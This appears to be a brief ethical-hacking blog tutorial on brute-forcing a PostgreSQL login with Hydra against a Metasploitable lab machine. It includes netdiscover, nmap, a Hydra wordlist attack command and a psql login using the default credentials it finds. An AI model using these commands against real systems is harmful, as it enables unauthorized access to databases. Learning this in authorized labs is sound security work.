Cracking PostgreSQL Password Using Hydra

Today we are going learn how to access the victim machine by cracking the password of PostgreSQL service. 

Disclaimer: The articles provided on HackWithV is purely for informational and educational purpose only, and for those who are willing and curious to know & learn about Ethical Hacking, Security and Penetration Testing. Anytime the word "Hacking" that is used on this site shall be regarded as Ethical Hacking.

What is PostgreSQL?

• PostgreSQL is an open-source and advanced object-oriented relational database which is also known as Postgres.

What is Hydra?

• Hydra is a parallelized login cracker which supports numerous protocols to attack.
• New modules are easy to add, beside that, it is flexible and very fast.
• This tool gives researchers and security consultants the possibility to show how easy it would be to gain unauthorized access from remote to a system.

Practical:

• Attacker: Kali Linux(OS), Hydra(Tool), Wordlist.
  

• Victim: Metasploitable(OS), PostgreSQL(Service).

 

sudo netdiscover

• Here we got the IP (192.168.0.5) of victim. Now lets scan for PostgreSQL service.

nmap -sV -p 5432 192.168.0.5

• The nmap says that the victim is running PostgreSQL service. Now its time for cracking the password of PostgreSQL with the help of Hydra tool.

hydra -help

hydra -L users.txt -P passwords.txt 192.168.0.5 postgres

• Here,

        -L is list of usernames

        -P is list of Passwords

• Here we go, the username is postgres and password is postgres.

• Now lets try to connect to PostgreSQL with these credentials.

psql -U postgres -h 192.168.0.5

• Here we got remote login into victim machine PostgreSQL Database.

 

Be Aware, Be Secure.

Thank You 🙏